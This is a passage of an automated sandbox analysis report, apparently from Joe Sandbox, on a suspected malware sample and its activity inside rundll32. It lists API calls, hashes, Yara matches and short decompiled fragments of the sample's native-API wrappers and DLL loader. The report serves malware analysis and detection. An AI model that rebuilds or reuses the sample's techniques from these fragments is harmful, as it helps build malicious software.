Source File: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_rundll32.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 7ad1234ca49af046aa935ed5ea4367f6590ad5a9a55e406039cdc8ff93d1e01a
Instruction ID: a121538d1e67aa290cab8dc48bb2ee23437a3f7554187179ff3fc4cc90b08de0
Opcode Fuzzy Hash: 7ad1234ca49af046aa935ed5ea4367f6590ad5a9a55e406039cdc8ff93d1e01a
Instruction Fuzzy Hash: 41F0E571101214ABC710DF88CC48EE733ACEF44720F214014F90857201C630E821C6F5

Uniqueness

Uniqueness Score: -1.00%

Function 0041A5F0 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00415186,?,004158FF,004158FF,?,00415186,?,?,?,?,?,00000000,00000005,00000206), ref: 0041A61D

Memory Dump Source

Source File: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_rundll32.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4eeee5f58efdf21d171fa9f1326e000b1994929843c0f345beb3c8c7aaa15deb
Instruction ID: a902bd2471d7bf624e41e955d84fd9d1c4f3b9c17a63ece7231003dd0180069e
Opcode Fuzzy Hash: 4eeee5f58efdf21d171fa9f1326e000b1994929843c0f345beb3c8c7aaa15deb
Instruction Fuzzy Hash: 9DE01AB52002046BDB14DF89DC45E9737ACAF88654F018155BA085B241C530F9108AB5

Uniqueness

Uniqueness Score: -1.00%

Function 0041A630 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000005,00000000,00000000,00000005,00000060,00000000,00000000,?,?,00000000,00000206,?), ref: 0041A65D

Memory Dump Source

Source File: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_rundll32.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: a1f7dc8e7f53a3f8249f2c6d0a6452cc2d574f3e67fea06934ffed66e3b82adc
Instruction ID: 7f623aad187af7064e7533bd75938f2c26ac04ae0faa765159e468c107c5f902
Opcode Fuzzy Hash: a1f7dc8e7f53a3f8249f2c6d0a6452cc2d574f3e67fea06934ffed66e3b82adc
Instruction Fuzzy Hash: 6EE012B5200208ABDB14EF89DC49EA737ACAF88764F118159BA085B252C630E9208AB1

Uniqueness

Uniqueness Score: -1.00%

Function 0041A790 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,0040D5C2,0040D5C2,?,00000000,?,?), ref: 0041A7C0

Memory Dump Source

Source File: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_rundll32.jbxd

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 1603bad059ca15678eb2c8229aefeef34436a6a2ffabd18c43c9bb13eb52ef96
Instruction ID: 06e833523edb0ad7648b3b81e76834ac107786c1f02646ed6da31cb29cb4c049
Opcode Fuzzy Hash: 1603bad059ca15678eb2c8229aefeef34436a6a2ffabd18c43c9bb13eb52ef96
Instruction Fuzzy Hash: E7E01AB52002086BDB10DF89CC45EE737ADAF89664F018155BA0857241C530E8158AB5

Uniqueness

Uniqueness Score: -1.00%

Function 0040DA27 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00008003,?,?,00408233,?), ref: 0040DA5B

Memory Dump Source

Source File: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_rundll32.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 54443e1e068d248c5ce9ed166364833a43d513b0348be7bc8eb46ee56f5347dc
Instruction ID: 8436d970e41b6817bcac2e2e1a7523fa4976c0cee2b6ad07117e43b583ef9457
Opcode Fuzzy Hash: 54443e1e068d248c5ce9ed166364833a43d513b0348be7bc8eb46ee56f5347dc
Instruction Fuzzy Hash: 8BE0C271A843042BFB21EFA0CC43F953BD4AF49650F4400B8FA0DDB3C3D964E0008658

Uniqueness

Uniqueness Score: -1.00%

Function 0040DA30 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00008003,?,?,00408233,?), ref: 0040DA5B

Memory Dump Source

Source File: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_rundll32.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: a714ccd9be1f095c3c74df8391fc4f48c6866eedcca8de211dbdf4dcb0402e58
Instruction ID: 812e64ba04bd06fb28dcbd2ec4ac41cbbe0dd90e8d3b90a9c8af4e9e92db0383
Opcode Fuzzy Hash: a714ccd9be1f095c3c74df8391fc4f48c6866eedcca8de211dbdf4dcb0402e58
Instruction Fuzzy Hash: 61D05E71A8030427F610EAE58C43F6632C89B48A54F454064FA09E63C2D964E4004568

Uniqueness

Uniqueness Score: -1.00%

Function 0439967A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04399694

Memory Dump Source

Source File: 0000000D.00000002.991201290.0000000004330000.00000040.00000800.00020000.00000000.sdmp, Offset: 04330000, based on PE: true

Associated: 0000000D.00000002.991313216.000000000444B000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.991328782.000000000444F000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4330000_rundll32.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3881138efbacf8c755b69799f51b72801d72af10d1a021835a9a680b5cc94a5f
Instruction ID: 109fb291d4ebf217ff4e0124aded604007cb733a8b43bba116dfd7c82265cc73
Opcode Fuzzy Hash: 3881138efbacf8c755b69799f51b72801d72af10d1a021835a9a680b5cc94a5f
Instruction Fuzzy Hash: 78B02BB18010C0C5FB00D76006087173900BBC0300F12D061D1020280A0738D090F1B1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 043EFDDA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E043EFDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E0439CE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E043E5720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E043E5720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x043efdda
0x043efde2
0x043efde5
0x043efdec
0x043efdfa
0x043efdff
0x043efe0a
0x043efe0f
0x043efe17
0x043efe1e
0x043efe19
0x043efe19
0x043efe19
0x043efe20
0x043efe21
0x043efe22
0x043efe25
0x043efe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 043EFDFA

Strings

RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 043EFE01
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 043EFE2B

Memory Dump Source

Source File: 0000000D.00000002.991201290.0000000004330000.00000040.00000800.00020000.00000000.sdmp, Offset: 04330000, based on PE: true

Associated: 0000000D.00000002.991313216.000000000444B000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.991328782.000000000444F000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4330000_rundll32.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: 2eb6fc526acc93fbd6a75ebb98b6557e3458ce6c4acbd678af174735f94f0f24
Instruction ID: c70769bbacf7620b7797c0643a99387c420c94f41c284f798322938bb8996be5
Opcode Fuzzy Hash: 2eb6fc526acc93fbd6a75ebb98b6557e3458ce6c4acbd678af174735f94f0f24
Instruction Fuzzy Hash: 4AF0F676600611BFEA201A86DC02F73BB9AEF84774F141355F628565D1EAA2FC3096F4

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: oxx7nkdv4g8.exePID: 5868, Parent PID: 684COMMON

Execution Graph

Execution Coverage:	1.9%
Dynamic/Decrypted Code Coverage:	2%
Signature Coverage:	0%
Total number of Nodes:	396
Total number of Limit Nodes:	48

Executed Functions

Function 008EA31A Relevance: 1.5, APIs: 1, Instructions: 42
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E008EA31A(void* __edx, intOrPtr _a8, HANDLE* _a12, long _a16, struct _EXCEPTION_RECORD _a20, struct _ERESOURCE_LITE _a24, struct _GUID _a28, long _a32, long _a36, long _a40, long _a44, void* _a48, long _a52) {
				long _t21;

				asm("o16 aaa");
				_pop(_t37);
				_t15 = _a8;
				_t3 = _t15 + 0xc5c; // 0xc5c
				E008EAF70( *((intOrPtr*)(_a8 + 0x14)), _t15, _t3,  *((intOrPtr*)(_a8 + 0x14)), 0, 0x28);
				_t21 = NtCreateFile(_a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, _a48, _a52); // executed
				return _t21;
			}

0x008ea31a
0x008ea31d
0x008ea323
0x008ea32f
0x008ea337
0x008ea36d
0x008ea371

APIs

NtCreateFile.NTDLL(00000060,008D9113,?,008E5807,008D9113,FFFFFFFF,?,?,FFFFFFFF,008D9113,008E5807,?,008D9113,00000060,00000000,00000000), ref: 008EA36D

Memory Dump Source

Source File: 00000017.00000002.891623399.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000017.00000002.891611384.00000000008D0000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_8d0000_oxx7nkdv4g8.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a3db53c3499b4208fa787fd20ded4ec7fb5fce6855323f6d37a9b7bf070bdd03
Instruction ID: 0f30a8d19655cea50a86080639764026ca6fc4b140f241dd95739fad2460d2d6
Opcode Fuzzy Hash: a3db53c3499b4208fa787fd20ded4ec7fb5fce6855323f6d37a9b7bf070bdd03
Instruction Fuzzy Hash: AA01B2B6201508AFCB08CF88DD85EEB37AEAF8C754F158248BA0997240C630E8518BA0

Uniqueness

Uniqueness Score: -1.00%

Function 008EA320 Relevance: 1.5, APIs: 1, Instructions: 40
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E008EA320(intOrPtr _a4, HANDLE* _a8, long _a12, struct _EXCEPTION_RECORD _a16, struct _ERESOURCE_LITE _a20, struct _GUID _a24, long _a28, long _a32, long _a36, long _a40, void* _a44, long _a48) {
				long _t21;

				_t3 = _a4 + 0xc5c; // 0xc5c
				E008EAF70( *((intOrPtr*)(_a4 + 0x14)), _t15, _t3,  *((intOrPtr*)(_a4 + 0x14)), 0, 0x28);
				_t21 = NtCreateFile(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, _a48); // executed
				return _t21;
			}

0x008ea32f
0x008ea337
0x008ea36d
0x008ea371

APIs

NtCreateFile.NTDLL(00000060,008D9113,?,008E5807,008D9113,FFFFFFFF,?,?,FFFFFFFF,008D9113,008E5807,?,008D9113,00000060,00000000,00000000), ref: 008EA36D

Memory Dump Source

Source File: 00000017.00000002.891623399.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000017.00000002.891611384.00000000008D0000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_8d0000_oxx7nkdv4g8.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ede47e358c6f592494742841678bda465d8b9d6efb767baf41057bbc73943ae4
Instruction ID: 7f20a8192bf4d2dc85bbf533dba4114c9acd78b44d21b50785d78799d84e53e5
Opcode Fuzzy Hash: ede47e358c6f592494742841678bda465d8b9d6efb767baf41057bbc73943ae4
Instruction Fuzzy Hash: 46F0B2B2210208AFCB08CF89DC85EDB37ADAF8C754F018208BA0997241C630F8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 008EA3CA Relevance: 1.5, APIs: 1, Instructions: 38
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtReadFile.NTDLL(008E59C2,5DA515B3,FFFFFFFF,008E5681,?,?,008E59C2,?,008E5681,FFFFFFFF,5DA515B3,008E59C2,?,00000000), ref: 008EA415

Memory Dump Source

Source File: 00000017.00000002.891623399.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000017.00000002.891611384.00000000008D0000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_8d0000_oxx7nkdv4g8.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: d0a50dea54aac9635c95ab68d6874371f5e2cbf0dc2ed8e727ecce08ee6ed408
Instruction ID: ce06b5c2cd29e1f56b9786fdc136ab6aa6384e8a7df0afde94f9b4cb76469cea
Opcode Fuzzy Hash: d0a50dea54aac9635c95ab68d6874371f5e2cbf0dc2ed8e727ecce08ee6ed408
Instruction Fuzzy Hash: E8F0E7B2200109AFCB18CF99DC84DDB77ADEF8C764F168248FA5DA7251C630E811CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 008EA3D0 Relevance: 1.5, APIs: 1, Instructions: 36
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E008EA3D0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40) {
				void* _t18;
				intOrPtr* _t27;

				_t13 = _a4;
				_t27 = _a4 + 0xc64;
				E008EAF70( *((intOrPtr*)(_t13 + 0x14)), _t13, _t27,  *((intOrPtr*)(_t13 + 0x14)), 0, 0x2a);
				_t18 =  *((intOrPtr*)( *_t27))(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40); // executed
				return _t18;
			}

0x008ea3d3
0x008ea3df
0x008ea3e7
0x008ea415
0x008ea419

APIs

NtReadFile.NTDLL(008E59C2,5DA515B3,FFFFFFFF,008E5681,?,?,008E59C2,?,008E5681,FFFFFFFF,5DA515B3,008E59C2,?,00000000), ref: 008EA415

Memory Dump Source

Source File: 00000017.00000002.891623399.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000017.00000002.891611384.00000000008D0000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_8d0000_oxx7nkdv4g8.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: b510bff5fdfeed8eb0fffb7cee2b24ec4e8af31a288f6594e015d3a0b80bf648
Instruction ID: c9eb7825812d41aa26cf33082e87bad339c0b14e55024f7d1bfd9dfa0adef4b9
Opcode Fuzzy Hash: b510bff5fdfeed8eb0fffb7cee2b24ec4e8af31a288f6594e015d3a0b80bf648
Instruction Fuzzy Hash: 6DF0A4B2210208ABCB18DF99DC85EEB77ADEF8C754F118248BE0D97251D630E811CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 008EA4FA Relevance: 1.5, APIs: 1, Instructions: 33
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E008EA4FA(void* __eax, void* __ebx, void* __ecx, void* __edx, void* _a4, PVOID* _a8, long _a12, long* _a16, long _a20, long _a24) {
				intOrPtr _v0;
				void* _v117;
				long _t17;

				_push(0xffffffaf);
				_t13 = _v0;
				_t4 = _t13 + 0xc7c; // 0x3c7c
				E008EAF70( *((intOrPtr*)(_v0 + 0x14)), _t13, _t4,  *((intOrPtr*)(_v0 + 0x14)), 0, 0x30);
				_t17 = NtAllocateVirtualMemory(_a4, _a8, _a12, _a16, _a20, _a24); // executed
				return _t17;
			}

0x008ea4fc
0x008ea503
0x008ea50f
0x008ea517
0x008ea539
0x008ea53d

APIs

NtAllocateVirtualMemory.NTDLL(?,00000000,?,008EB1AD,?,008EB1AD,?,00000000,?,00003000,00000040,008D9113,00000000), ref: 008EA539

Memory Dump Source

Source File: 00000017.00000002.891623399.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000017.00000002.891611384.00000000008D0000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_8d0000_oxx7nkdv4g8.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: b4590bcb26deffa2d86b1d3e0ea48b7901d369fdf1182501ed088ab8ad142906
Instruction ID: 94f934e44fd91da1b2c99f703a2810041a17600b1c19b83f2af69ca4e3c5f6af
Opcode Fuzzy Hash: b4590bcb26deffa2d86b1d3e0ea48b7901d369fdf1182501ed088ab8ad142906
Instruction Fuzzy Hash: 21F05EB12101086BDB14CFA9DC91EDB37A9EF88354F118248BD1C97291C531E810CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 008EA500 Relevance: 1.5, APIs: 1, Instructions: 30
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E008EA500(intOrPtr _a4, void* _a8, PVOID* _a12, long _a16, long* _a20, long _a24, long _a28) {
				long _t14;

				_t3 = _a4 + 0xc7c; // 0x3c7c
				E008EAF70( *((intOrPtr*)(_a4 + 0x14)), _t10, _t3,  *((intOrPtr*)(_a4 + 0x14)), 0, 0x30);
				_t14 = NtAllocateVirtualMemory(_a8, _a12, _a16, _a20, _a24, _a28); // executed
				return _t14;
			}

0x008ea50f
0x008ea517
0x008ea539
0x008ea53d

APIs

NtAllocateVirtualMemory.NTDLL(?,00000000,?,008EB1AD,?,008EB1AD,?,00000000,?,00003000,00000040,008D9113,00000000), ref: 008EA539

Memory Dump Source

Source File: 00000017.00000002.891623399.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000017.00000002.891611384.00000000008D0000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_8d0000_oxx7nkdv4g8.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 3937d7bcd71450592b7c43b4c62eb3862b139fe450dcdc5e45fc7760e87cf521
Instruction ID: d53f82f0f40d5db4fe107240e3c2e90639ff1f68a1ae72dd179a5f0c10817a79
Opcode Fuzzy Hash: 3937d7bcd71450592b7c43b4c62eb3862b139fe450dcdc5e45fc7760e87cf521
Instruction Fuzzy Hash: 0EF015B2210208ABDB18DF89DC81EAB77ADEF8C754F018108BE0897241C630F810CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 008EA450 Relevance: 1.5, APIs: 1, Instructions: 20
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E008EA450(intOrPtr _a4, void* _a8) {
				long _t8;

				_t5 = _a4;
				_t2 = _t5 + 0x14; // 0x56c29f0f
				_t3 = _t5 + 0xc6c; // 0x8d9d7f
				E008EAF70( *_t2, _a4, _t3,  *_t2, 0, 0x2c);
				_t8 = NtClose(_a8); // executed
				return _t8;
			}

0x008ea453
0x008ea456
0x008ea45f
0x008ea467
0x008ea475
0x008ea479

APIs

NtClose.NTDLL(008E59A0,?,?,008E59A0,008D9113,FFFFFFFF), ref: 008EA475

Memory Dump Source

Source File: 00000017.00000002.891623399.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000017.00000002.891611384.00000000008D0000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_8d0000_oxx7nkdv4g8.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 829c97b90c121aadc2fe6170b15f633a5be8987cb5c0fe9b9f6c1e719d211015
Instruction ID: eb77a1b770d9087c949a76d5effc38c5a155ac4f6343744cc9a25ac29eaf691f
Opcode Fuzzy Hash: 829c97b90c121aadc2fe6170b15f633a5be8987cb5c0fe9b9f6c1e719d211015
Instruction Fuzzy Hash: CFD01772200214ABD624EB99DC89E977BACEF48A60F018055BA489B242C930FA0086E1

Uniqueness

Uniqueness Score: -1.00%

Function 01099910 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0109991A

Memory Dump Source

Source File: 00000017.00000002.891799619.0000000001030000.00000040.00000800.00020000.00000000.sdmp, Offset: 01030000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_1030000_oxx7nkdv4g8.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9b510f668499c9c46a1404e0bd6c38391c3ff14ce4e0ad623f96ca40cde9984b
Instruction ID: 8acb8571683d0a7ed1d450a952389fff80d46763aae379811ccd30bb69d12a05
Opcode Fuzzy Hash: 9b510f668499c9c46a1404e0bd6c38391c3ff14ce4e0ad623f96ca40cde9984b
Instruction Fuzzy Hash: A39002B120100912D14071D984047461105A7D0341FD1C011A5454594ECA998DD577A5

Uniqueness

Uniqueness Score: -1.00%

Function 01099860 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0109986A

Memory Dump Source

Source File: 00000017.00000002.891799619.0000000001030000.00000040.00000800.00020000.00000000.sdmp, Offset: 01030000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_1030000_oxx7nkdv4g8.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f0519bab75daf4e1ff0f91e507ddac5773def89b543715a974b3634832043ab8
Instruction ID: e39a60ca623bb4abd20a526d14ef158471281c48d64abb3ccee174302c19e1f2
Opcode Fuzzy Hash: f0519bab75daf4e1ff0f91e507ddac5773def89b543715a974b3634832043ab8
Instruction Fuzzy Hash: 9F90027120100923D11161D985047071109A7D0281FD1C412A0814598DDA968952B261

Uniqueness

Uniqueness Score: -1.00%

Function 010995D0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 010995DA

Memory Dump Source

Source File: 00000017.00000002.891799619.0000000001030000.00000040.00000800.00020000.00000000.sdmp, Offset: 01030000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_1030000_oxx7nkdv4g8.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e1c64880f685cea1635893e07038176fea54a6385ce3b62634fed92a3b7653a1
Instruction ID: 1ce3cc9070eb3244e6dd013e59b8d02cf4fba5bfe6549c4f618595fcadbe0af4
Opcode Fuzzy Hash: e1c64880f685cea1635893e07038176fea54a6385ce3b62634fed92a3b7653a1
Instruction Fuzzy Hash: B29002A120200513810571D98414616510AA7E0241BD1C021E14045D0DC96588917265

Uniqueness

Uniqueness Score: -1.00%

Function 01099FE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01099FEA

Memory Dump Source

Source File: 00000017.00000002.891799619.0000000001030000.00000040.00000800.00020000.00000000.sdmp, Offset: 01030000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_1030000_oxx7nkdv4g8.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8f3cb8c88e5fad52bc92ff35aadf1e75ed0da61ff45b88b177899afb23d1e496
Instruction ID: b5333861030d24e7c2e9d4837228a988900c2eb908d978b64b20fb5a4551d30b
Opcode Fuzzy Hash: 8f3cb8c88e5fad52bc92ff35aadf1e75ed0da61ff45b88b177899afb23d1e496
Instruction Fuzzy Hash: 7B90027131114912D11061D9C4047061105A7D1241FD1C411A0C14598DCAD588917262

Uniqueness

Uniqueness Score: -1.00%

Function 01099660 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0109966A

Memory Dump Source

Source File: 00000017.00000002.891799619.0000000001030000.00000040.00000800.00020000.00000000.sdmp, Offset: 01030000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_1030000_oxx7nkdv4g8.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e992dd9d19beeeb10062b9a2670136354475db4c6de158b34eb49c12b11c82d8
Instruction ID: 577d6c93e703d1c9fa0c69ee0068d368421fb464a34ff48cf6ec3162e4361eb5
Opcode Fuzzy Hash: e992dd9d19beeeb10062b9a2670136354475db4c6de158b34eb49c12b11c82d8
Instruction Fuzzy Hash: FA90027120100D12D18071D9840464A1105A7D1341FD1C015A0415694DCE558A5977E1

Uniqueness

Uniqueness Score: -1.00%

Function 010996E0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 010996EA

Memory Dump Source

Source File: 00000017.00000002.891799619.0000000001030000.00000040.00000800.00020000.00000000.sdmp, Offset: 01030000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_1030000_oxx7nkdv4g8.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a6b7f92c5552c80e1b3eaaa126c4b915bcdd80e8283b40e15118db83bf2db271
Instruction ID: 18fff2ad34053bd52854c1b55d10c397d85d71d6b63a73d92d69f49208c760ce
Opcode Fuzzy Hash: a6b7f92c5552c80e1b3eaaa126c4b915bcdd80e8283b40e15118db83bf2db271
Instruction Fuzzy Hash: C390027120108D12D11061D9C40474A1105A7D0341FD5C411A4814698DCAD588917261

Uniqueness

Uniqueness Score: -1.00%

Function 008DA140 Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E008DA140(void* __ebx, void* __eflags, void* _a4, intOrPtr _a8) {
				char* _v8;
				struct _EXCEPTION_RECORD _v12;
				struct _OBJDIR_INFORMATION _v16;
				char _v536;
				void* _t17;
				void* _t18;
				struct _OBJDIR_INFORMATION _t20;
				struct _OBJDIR_INFORMATION _t21;
				void* _t34;
				void* _t35;

				_v8 =  &_v536;
				_t17 = E008ECDC0( &_v12, 0x104, _a8);
				_t18 = _t17 - 1;
				_t5 = __ebx - 0x3f7af33c;
				 *_t5 =  *((intOrPtr*)(__ebx - 0x3f7af33c)) + _t18;
				if( *_t5 != 0) {
					_t20 = E008ED1E0(__eflags, _v8);
					_t35 = _t34 + 4;
					__eflags = _t20;
					if(_t20 != 0) {
						E008ED460( &_v12, 0);
						_t35 = _t35 + 8;
					}
					_t21 = E008EB510(_v8);
					_v16 = _t21;
					__eflags = _t21;
					if(_t21 == 0) {
						LdrLoadDll(0, 0,  &_v12,  &_v16); // executed
						return _v16;
					}
					return _t21;
				} else {
					return _t18;
				}
			}

0x008da15c
0x008da15f
0x008da161
0x008da163
0x008da163
0x008da169
0x008da173
0x008da178
0x008da17b
0x008da17d
0x008da185
0x008da18a
0x008da18a
0x008da191
0x008da199
0x008da19c
0x008da19e
0x008da1b2
0x00000000
0x008da1b4
0x008da1ba
